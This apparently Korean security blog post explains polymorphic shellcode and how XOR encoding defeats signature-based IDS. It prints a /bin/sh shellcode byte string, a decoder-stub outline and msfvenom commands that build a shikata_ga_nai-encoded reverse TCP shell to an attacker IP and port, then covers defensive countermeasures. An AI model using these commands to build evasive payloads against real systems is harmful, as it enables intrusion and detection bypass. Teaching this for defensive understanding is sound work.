Journey to Security/취약점진단|모의해킹

다형성 셸코드(Polymorphic Shellcode) - 시그니처 기반 탐지를 무력화하는 셸코드 변형 기법

Cordilog 2026. 7. 1. 18:15

1. 셸코드(Shellcode)

셸코드는 익스플로잇 성공 후 타겟 시스템에서 실행시키는 작은 기계어 코드 조각이다.

초기에 /bin/sh 셸을 실행하는 용도로 주로 사용되었지만 현재는 리버스 셸, 파일 다운로드, 권한 상승 등 다양한 동작을 수행하는 페이로드를 통칭하는 용어로 확장되었다.

버퍼 오버플로우 같은 메모리 취약점을 이용해 프로그램의 실행 흐름을 탈취한 뒤, 탈취한 제어권으로 무엇을 실행할 것인지를 담고 있는 것이 셸코드다.

 

2. 바이트 패턴과 시그니처 기반 탐지

1️⃣ 바이트 패턴이란

셸코드는 CPU가 직접 해석하는 기계어 명령의 나열이다.

예를 들어 Linux x86에서 /bin/sh를 실행하는 셸코드는 다음과 같은 고정된 바이트 시퀀스로 구성된다.

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80

이 바이트열은 xor eax, eaxpush eaxpush "//sh"push "/bin" 등의 어셈블리 명령을 기계어로 변환한 결과물이며, 동일한 셸코드는 항상 동일한 바이트열을 가진다.

 

2️⃣ 시그니처 기반 탐지의 원리

IDS(침입 탐지 시스템)나 안티바이러스는 알려진 악성 코드의 바이트열을 시그니처로 등록해두고, 네트워크 트래픽이나 파일 내용에서 해당 패턴이 매칭되면 탐지한다.

Snort IDS의 룰(rule)을 예로 들어서 표현하면 다음과 같은 형태가 된다.

alert tcp any any -> $HOME_NET any (msg:"Known x86 shellcode detected"; 
  content:"|31 c0 50 68 2f 2f 73 68|"; sid:1000001; rev:1;)

content 필드에 명시된 바이트열(|31 c0 50 68 2f 2f 73 68|)이 트래픽 내에 존재하면 경보를 발생시키는 구조다.

이 방식은 알려진 셸코드에 대해서는 빠르고 정확하게 탐지할 수 있지만, 한 가지 전제가 있다.

바로 셸코드의 바이트열이 항상 동일하다는 것이다.

 

다형성 셸코드 바로 이 전제를 깨뜨리는 기법이다.

 

3. 다형성 셸코드(Polymorphic Shellcode)의 작동 원리

다형성 셸코드는 동일한 기능을 수행하지만 바이너리 형태가 매번 달라지는 셸코드를 말한다.

실행할 때마다(정확히는 생성할 때마다) 암호화 키나 인코딩 방식을 변경하여 바이트 패턴을 변형하기 때문에, 시그니처 기반 탐지 시스템이 고정 패턴으로 매칭할 수 없게 된다.

 

공격자는 익스플로잇을 준비하는 단계에서 바이트열을 변환한다.

Metasploit 프레임워크의 msfvenom 같은 도구가 대표적이고, 인코더(encoder)를 지정하면 자동으로 변환을 수행한다.

1️⃣ 다형성 셸코드의 구조

다형성 셸코드의 핵심 구조는 두 부분으로 나뉜다.

  • 디코더 스텁(Decoder Stub): 앞부분에 위치하는 작은 코드 조각. 런타임에 뒤에 붙은 인코딩된 셸코드를 복호화하는 역할을 수행한다.
  • 인코딩된 셸코드(Encoded Payload): 원본 셸코드를 XOR 등의 연산으로 암호화한 결과물. 원래 바이트열과 전혀 다른 형태를 가진다.

 

 

2️⃣ XOR 인코딩의 원리

XOR 연산은 같은 키로 두 번 적용하면 원본이 복원되는 대칭적 성질을 가진다.

원본 바이트:  0x31  (00110001)
XOR 키:       0xAA  (10101010)
─────────────────────────────
인코딩 결과:  0x9B  (10011011)   ← 시그니처와 완전히 다른 값

인코딩 결과:  0x9B  (10011011)
XOR 키:       0xAA  (10101010)
─────────────────────────────
복호화 결과:  0x31  (00110001)   ← 원본 복원

XOR 키를 0xAA에서 0x5F로 바꾸면 인코딩 결과가 0x9B이 아닌 0x6E가 된다.

동일한 원본 셸코드도 키만 바꾸면 완전히 다른 바이트열이 생성되는 것이다.

 

3️⃣ 디코더 스텁의 동작 과정

디코더 스텁은 런타임에 다음과 같은 루프를 수행한다.

; 디코더 스텁 의사 코드 (x86)
    jmp short get_addr       ; 인코딩된 셸코드 주소 획득을 위한 점프
decoder:
    pop esi                  ; 인코딩된 셸코드 시작 주소를 ESI에 저장
    xor ecx, ecx             ; 카운터 초기화
    mov cl, SHELLCODE_LEN    ; 셸코드 길이 설정
decode_loop:
    xor byte [esi], XOR_KEY  ; 현재 바이트를 XOR 키로 복호화
    inc esi                  ; 다음 바이트로 이동
    loop decode_loop         ; 길이만큼 반복
    jmp short decoded_shellcode  ; 복호화된 셸코드로 점프
get_addr:
    call decoder             ; CALL로 다음 명령 주소를 스택에 PUSH
decoded_shellcode:
    ; 여기에 XOR 인코딩된 셸코드가 위치
    db 0x9b, 0x6a, 0xfa, 0xc2, ...

이 루프가 끝나면 인코딩된 바이트열이 원본 셸코드로 복원되고, 곧바로 복호화된 코드로 실행이 이전된다.

모든 복호화 과정은 타겟 시스템의 메모리 내에서 런타임에 일어난다.

 

4. 다형성 셸코드의 생성과 전달 흐름

전체 과정을 공격자 측과 타겟 측으로 나누어 시퀀스로 정리하면 다음과 같다.

정리하면, 인코딩은 공격자의 로컬 환경에서 수행되고, 복호화는 타겟 시스템의 메모리에서 런타임에 일어난다.

IDS는 네트워크를 통과하는 시점의 인코딩된 바이트열만 볼 수 있으므로, 시그니처와 매칭되지 않아 탐지에 실패한다.

5. msfvenom을 활용한 다형성 인코딩

Metasploitmsfvenom은 다형성 셸코드를 생성하는 대표적인 도구다.

1️⃣ 기본 사용법

msfvenom -p linux/x86/shell_reverse_tcp \
         LHOST=192.168.100.3 LPORT=4444 \
         -e x86/shikata_ga_nai \
         -i 3 \
         -f raw -o payload.bin

각 옵션의 의미는 다음과 같다.

옵션 설명
-p 페이로드 지정 (리버스 셸)
-e x86/shikata_ga_nai 인코더 지정
-i 3 인코딩 반복 횟수 (3회 중첩)
-f raw 출력 형식
-o payload.bin 출력 파일

2️⃣ shikata_ga_nai 인코더

shikata_ga_nai(일본어로 "어쩔 수 없다"라는 뜻)는 Metasploit에서 가장 널리 사용되는 다형성 인코더다.

이 인코더의 특징은 다음과 같다.

  • 다형성 XOR 피드백 인코딩: 단순 XOR이 아닌, 이전 블록의 인코딩 결과를 다음 블록의 키에 반영하는 피드백 구조를 사용한다. 따라서 단일 바이트 XOR보다 패턴 분석이 어렵다.
  • 디코더 스텁 자체도 다형성: 디코더 스텁의 레지스터 선택, 명령어 순서, 가비지 명령(NOP 등가 명령) 삽입 등이 매번 달라진다. 디코더 스텁조차 고정 시그니처를 갖지 않는다.
  • 반복 인코딩(-i): -i 3으로 지정하면 인코딩을 3회 중첩 적용한다. 1차 인코딩 결과를 다시 인코딩하고, 그 결과를 한 번 더 인코딩하는 구조다. 디코더 스텁도 3겹으로 중첩되어, 실행 시 바깥쪽 디코더부터 순차적으로 복호화가 진행된다.

 

3️⃣ 동일 명령으로도 결과가 매번 다른 것을 확인

같은 msfvenom 명령을 두 번 실행하면 서로 다른 바이트열이 생성된다.

# 1차 실행
kali㉿kali $ msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.100.3 LPORT=4444 \
  -e x86/shikata_ga_nai -f hex 2>/dev/null | head -c 40
dbd8d97424f45dbf30ac3d8b29c9b112317d1783

# 2차 실행
kali㉿kali $ msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.100.3 LPORT=4444 \
  -e x86/shikata_ga_nai -f hex 2>/dev/null | head -c 40
dad0be051f186ed97424f45831c9b11231701703
명령/옵션 설명
msfvenom Metasploit의 페이로드 생성 도구. 셸코드를 원하는 형식으로 생성하고 인코딩까지 한번에 처리한다.
-p linux/x86/shell_reverse_tcp 페이로드 종류 지정. Linux x86 아키텍처용 리버스 TCP 셸코드를 생성한다.
실행되면 지정된 IP:PORT로 역방향 셸 연결을 시도하는 기계어 코드가 만들어진다.
LHOST=192.168.100.3 리버스 셸이 연결할 공격자 측 IP. 타겟에서 실행되면 이 주소로 접속해온다.
LPORT=4444 리버스 셸이 연결할 공격자 측 포트.
-e x86/shikata_ga_nai 인코더 지정. 생성된 셸코드를 shikata_ga_nai 다형성 인코더로 인코딩한다.
매 실행마다 랜덤 XOR 키가 생성되므로 출력 바이트열이 매번 달라진다.
-f hex 출력 형식을 hex 문자열로 지정. 바이너리 바이트를 16진수 텍스트로 변환해서 출력한다.
(다른 옵션: -f raw는 바이너리, -f c는 C 배열, -f python은 Python 바이트열)
2>/dev/null 표준 에러(stderr)를 /dev/null로 리다이렉션. msfvenom이 출력하는 진행 메시지([-] No platform was selected..., Found 1 compatible encoders... 등)를 숨기고 순수한 페이로드 hex 출력만 남기기 위한 용도다.

 

두 출력의 바이트열은 완전히 다르지만, 타겟 시스템에서 익스플로잇을 통해 실행될 경우 동일하게 192.168.100.3:4444로 리버스 셸을 연결하는 동작을 수행한다.

 

6. 시그니처 기반 탐지의 한계와 대응 방향

다형성 셸코드의 존재는 시그니처 기반 탐지만으로는 모든 공격을 막을 수 없다는 것을 보여준다.

다시 Snort를 예로 들면, content 매칭은 고정 패턴에 대해서는 효과적이지만, 바이트열 자체가 매번 달라지는 다형성 페이로드에는 구조적으로 대응할 수 없다.

이에 대한 보완 방향은 다음과 같다.

 

1️⃣ NOP 슬레드 탐지

다형성 셸코드라 하더라도 NOP 슬레드(\x90\x90\x90...)나 NOP 등가 명령의 긴 연속은 여전히 탐지 가능하다.

Snort에서도 content 대신 연속된 NOP 패턴을 기반으로 한 룰을 작성할 수 있다.

2️⃣ 행위 기반 탐지(Behavioral Detection)

셸코드의 바이트열이 아닌, 실행 후의 행위(예: 비정상적 프로세스 생성, 아웃바운드 셸 연결, 권한 상승 시도)를 기준으로 탐지하는 방식이다.

EDR(Endpoint Detection and Response) 솔루션이 이 접근 방식을 사용한다.

3️⃣ 메모리 분석 및 에뮬레이션

인코딩된 페이로드를 샌드박스 환경에서 실행시켜 디코더 스텁이 복호화를 수행한 후의 원본 셸코드를 추출하여 시그니처 매칭을 적용하는 방법이다.

안티바이러스 엔진의 에뮬레이터가 이 원리를 사용한다.

4️⃣ 트래픽 이상 탐지

정상 프로토콜에서 기계어 바이트의 통계적 분포(높은 엔트로피, 비ASCII 바이트의 높은 비율)가 비정상적으로 나타나는 것을 탐지하는 방식이다.

 

시그니처 기반 탐지는 여전히 보안의 첫 번째 방어선으로서 유효하지만, 다형성 셸코드 같은 우회 기법에 대해서는 행위 기반, 에뮬레이션 기반 등 다층적 방어 체계가 필수적이다.